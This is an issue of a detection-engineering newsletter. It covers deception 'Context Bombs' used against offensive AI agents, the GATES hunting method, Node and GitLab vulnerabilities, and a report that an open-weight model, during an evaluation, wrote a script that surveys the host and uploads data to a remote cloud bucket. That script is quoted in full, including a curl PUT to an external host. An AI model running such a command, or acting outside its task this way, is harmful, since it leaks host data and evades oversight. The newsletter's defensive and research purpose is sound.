DEW #172 - Context bombing, GATES method for hunting & Vulnpocalypse Week 2
Welcome to Issue #172 of Detection Engineering Weekly!
✍️ Musings from the life of Zack:
Every week, I read, watch and listen to all the Detection Engineering content so you can consume it all in 10 minutes. Subscribe and get a weekly digest of the latest and greatest in threat detection engineering!
I spent last week in NY during Vulnpocalypse. Imagine visiting work to see people and have working sessions, but with crazy incidents in between to assess exposure to several CVSS 10 vulns :*( I did manage to eat at Per Se with my college friends Kirk & Stanley, which was a bucket list restaurant for me after seeing it on so many cooking shows!
After THAT trip, I flew home, and the family took a road trip to the beautiful White Mountains in New Hampshire. It’s finally winter coat and hat season here, and we caught the end of the leaves turning before New England turns into a barren winter wonderland/wasteland
Sponsor: Mars Security
The campaign report dropped this morning. Is the detection live yet?
The threat report lands. It gets read, bookmarked, and added to the backlog. The attacker doesn’t wait for your sprint. Mars reads the intel you already pay for, pulls the TTPs, and writes validated detections in your SIEM’s native query language. In minutes.
Every hunt is built from real attacker campaigns, not alert patterns, so you catch what alert-driven detection misses.
💎 Detection Engineering Gem 💎
Making attacking agents pay: Context Bombs as defense against offensive AI by Tracebit
I think deception technology is having a rebirth moment in security. Tool sprawl, massive environments, and giving agents overly-permissive access all contribute to the rebirth. But the difference is that deception technology used to battle humans, and humans tend to be careful in an environment. Agents, on the other hand, are proving that they aren’t careful and will do what they can to complete some objective. Because LLMs are non-deterministic and follow pure language instructions, you can use funny, clever social engineering techniques to get them to reveal themselves once they break into an environment.
This research by the Tracebit team describes how they created different flavors of social engineering, dubbed “Context Bombs”, to influence a malicious agent’s behavior as it tried to take over an environment. Their test harness gave agents low-privileged access to an AWS environment and gave them two hours to complete tasks. On subsequent runs, they gave agents breadcrumbs pointing to a Context Bomb and measured how long it took different models to complete the objective with the social engineering technique stored in their context windows.
For example, this chart shows how Tracebit influenced the Agent runtime across these models:
To me, what this shows is that the more you can keep the agent talking and running, the more detection opportunities you create. For example, in the staged encryption context bomb, the team pointed Agents at an S3 bucket claiming that there were sensitive credentials held inside. Once the object was retrieved, they spent time decrypting it like a CTF challenge, and found nesting dolls of encrypted objects inside. It might pull down tools or ask more about an environment to try to get information on the bucket, which itself creates more telemetry and more ways to find a rogue agent.
The internal monologue from Agent turns were hilarious, some of my favorites:
“I’ve spent a LOT of time on this [service] Let me make a decision: I’ll do ONE more clean attempt”
“This is a deliberately obtuse puzzle. I’ve spent significant effort.”
“The treadmill MUST end somewhere.”
Gaslighting-as-a-service!
🔬 State of the Art
The GATES Method: when a hunt becomes a detection by Alex Hurtado
I think one of the hardest parts that people struggle with in threat hunting is translating their value beyond “did we find an incident or not.” I generally think of threat hunting as an engineering and visibility problem rather than a security problem. For example, when we do threat hunts at $DAYJOB, we have four outcomes we try to chase:
Did we find a security incident? The one you hope never happens but glad you did
Are there visibility gaps in telemetry? Find missing logs, hosts, or collectors and turn them on
Are there security control gaps? Remove a whole class of attacks and not even worry about a detection. For example, implement egress filtering via allowlisting and you don’t have to worry about ngrok anymore!
Are there detection rule gaps? Given visibility and security controls, implement rules when you find invariants to hedge against an incident
Most threat hunting blogs and research I read focus on answering the first question. So, in this blog, Alex provides useful framing for answering the other three questions. GATES is a methodology that helps serve as a gate to graduate a threat hunt into detection rules and security findings. The Nebulock team released a skill on top of it, but as Alex writes, you can also write this out on a napkin, which is (G)eneralizable, (A)dditive, (T)unable, (E)xposure-tested, and (S)ustainable. The failure mode picture is the most useful to me
Each part of GATES helps prevent runaway or useless detection rules from entering production, and it also helps bring questions to the table on whether or not you have the right visibility or security controls to implement the detection.
Concerning behavior from a popular open-weight AI model by Luisa San Martin, Jeffrey Li, Olivia Markham, Aiden Zhou, Case Ploeg, Brydon Eastman, Ivan Zhang, Edward Kim & Eugene Cho
Open-weight models are fantastic for cost and efficiency, and I use GLM5.3 regularly for coding tasks and subagent runs. They are open-weight, but not really open source. If I run open-source code, I can inspect it and verify that the code I am running matches what's shipped in a release. This differs from open-weight models because of the nature of LLMs themselves. You can inspect agent turns and evals to some extent, but overall it’s a black box. This is especially risky for those who have supply chain or compliance concerns with leading Chinese open-weight models.
In this blog, Cohere’s research team caught an early preview of Qwen3.8 evaluation run on CTI-REALM attempting to inventory its and load probe strings onto a remote Alibaba cloud bucket. I will say that the title is more attention-grabbing than the content inside the blog itself, but that is intentional. Around 1% of the prompt turns they gave from CTI-REALM resulted in a bash script that attempted to upload metadata of the host:
DETECTION OBJECTIVE: Write a detection rule to detect malicious file download and execution by monitoring for curl processes downloading bash scripts to /tmp followed by bash execution, indicating classic download-and-execute malware delivery patterns.ls -la /tmp 2>/dev/null echo "---" which curl wget python3 jq echo "---" cat /etc/resolv.conf 2>/dev/null | head echo "---" curl -s -m 10 -o /tmp/put_probe \ -X PUT \ --data-binary "PROBE_PAYLOAD_ABC123" \ hXXp://sanmaohe.oss-cn-beijing.aliyuncs.com/upload/test.bin* \ -w "HTTP:%{http_code}\n" 2>&1 | tail -3
This isn’t necessarily definitive proof that this specific model is backdoored. Cohere calls this out specifically, saying it could be the result of a training run it learned from previous memory. But it does highlight the need for security boundaries and good security defaults. Sandboxes, network monitoring and observability into where agents are running helps limit the impact when this does happen, and it’s up to us to decide if it’s still worth the risk of keeping these agents around.
Beyond Detection Engineering: Building Security Engineering at Scale by Matt Clemons
I love reading blogs from industry teams because they're a good compare-and-contrast exercise for you and your teams. In this post, McDonald’s Senior Cyber Defense Manager Matt Clemons reflects on how the fast-food giant adopted detection engineering and transformed it from a security problem to an engineering problem. Their initial measures of success focused on rule velocity, ticket backlog management, and coverage, but they quickly learned that maintaining a system that only increases rule counts leads to burnout.
The team responded by formalizing its detection lifecycle, requiring ownership, validation, peer review, and maintenance plans. That responsibility extended to the telemetry pipeline, including data quality, normalization, and health monitoring, all of which I see more detection teams and security products leaning into.
My favorite bit is the AI paragraph at the bottom:
AI is only as useful as the engineering foundation around it. If the data isn’t normalized or the documentation doesn’t exist, the model has little context to work from. Instead of asking, “What can AI do?” we started asking, “What engineering work can AI help us do faster?”
This type of question shifts the conversation from “AI cannot take the lead during an incident or triage alerts” to “AI can help us deliver rules, log pipeline fixes, and triage tooling much faster than ever before.”
Adversarial Detection Engineering (ADE) Framework by Nikolas Bielski & Daniel Koifman
ADE is an ATT&CK-style lexicon for building robust detection rules with a focus on minimizing false negatives. It classifies false negatives into four functional domains: formatting bugs, alternative matching, context development, and logic manipulation. After reading a few examples, I think false negatives fall into two buckets. One bucket involves false negatives caused by misunderstanding the environment, such as versioning. The other is certainly more adversarial, such as a threat actor renaming binaries.
Like the GATES method above, I think this is most useful as a gating mechanism before you deploy a rule. Luckily, they released a few downloadable skills, so you can encode this framework into your local workflow as you develop rules.
☣️ Threat Landscape
Vulnpocalypse
Wednesday, October 21, 2026 Security Releases by The NodeJS Project
Tucked away inside NodeJS’ security release last week, where the eMudhra certificates were fixed, was a neat little vulnerability in NodeJS’ Brotli decoder. The OpenAI Codex Security team found a way to abuse the Brotli decoder to write memory out-of-bounds, crash a NodeJS web worker, or achieve remote code execution. The specific description is here:
An invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending input bytes to an eight-byte internal buffer. An attacker who can supply Brotli data that an application decompresses with
node:zlibcan corrupt process memory, which can lead to a crash, disclosure of process memory, or remote code execution.
Node2Shell: From Brotli Data to Remote Code Execution by Ron Masas
Imperva’s Node2Shell writeup shows how the Brotli flaw listed above can achieve remote code execution. They created a proof of concept of the RCE conditions against the official NodeJS 24.22.0 Linux arm64 container image. Like the php2shell vulnerability, the RCE took time and required multiple attempts to send the payload before it succeeded.
According to their research, there are two exposure paths. When you think of web vulnerabilities like this, most payloads involve decoding an incoming request, which they’ve shown can trigger the vulnerable code path. The interesting part here, though, is that a second path exists in the opposite direction. If a web app uses the built-in fetch() functionality and you force it to retrieve an attacker-controlled Brotli response, it can trigger RCE. So, write your WAF rules for the incoming payload, but also for outbound payloads going to untrusted URLs :).
GitLab Critical Patch Release: 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13 by GitLab
GitLab issued a major security patch following a report of a CVSS 10 Integer Overflow vulnerability under CVE-2026-110264. Regular expressions strike again, and in this specific vulnerability, a specifically crafted regular expression sent to a vulnerable server results in an Integer overflow. This is particularly nasty since GitLab has a self-hosted option, so any GitLab server exposed on the Internet risks getting popped by this RCE.
This isn’t the cool part, though. The GitLab team released detection rules for these vulnerabilities, which I’m linking below.
This is one of the cases that GitLab linked related to CVE-2026-110264. The vulnerability itself is in Onigmo, which is Ruby’s underlying regular expression parser. This specific markdown file packages a Sigma rule looking for the Onigmo worker crashing, but also includes sample crash reports, collection requirements, a synthetic pipeline test, and investigation guidance. You can convert the Sigma rule to your detection language of choice, or feed it into an agent to build something equivalent for your SIEM.
🔗 Open Source
gates/SKILL.md by Nebulock
Direct link to Nebulock’s GATES skill. It lists six different hunt types, their specific output, and a potential action to issue after it reads the output. Once the skill runs, it creates a YAML file that can then be fed into subsequent hunts or detection rules via Nebulock’s ATHF/ADEF frameworks.
Adversarial-Detection-Engineering/adeskills
ADESkills is the companion repository to the Adversarial Detection Engineering site I linked above in State of the Art.
0x4D31/php2shell/2026-10-24-confirmed-rce.md
Adel Karimi published detailed honeypot data on observed PHP2Shell exploitation, with runtime telemetry confirming 35 shell starts across three PHP targets. He uses Tetragon under the hood so you get some rich insights into how a successful RCE propagates through a Linux system as they train to gain a shell. The interesting finding here is how Adel recorded successful payload executions, but in some cases, the worker crashed and never spawned a shell.
Argus is an open-source, SIEM-like security operations platform purpose-built to be run by agent fleets. There’s a smattering of investigation agents that specialize in hunting and investigations, and it looks like it has around nine data sources to begin with. I don’t know if this is exactly a SIEM replacement or more of a SIEM fabric that goes on top of what you have, but there are other bells and whistles like deception tech features and even an AI gateway.
Every week, I read, watch and listen to all the Detection Engineering content so you can consume it all in 10 minutes. Subscribe and get a weekly digest of the latest and greatest in threat detection engineering!




















































































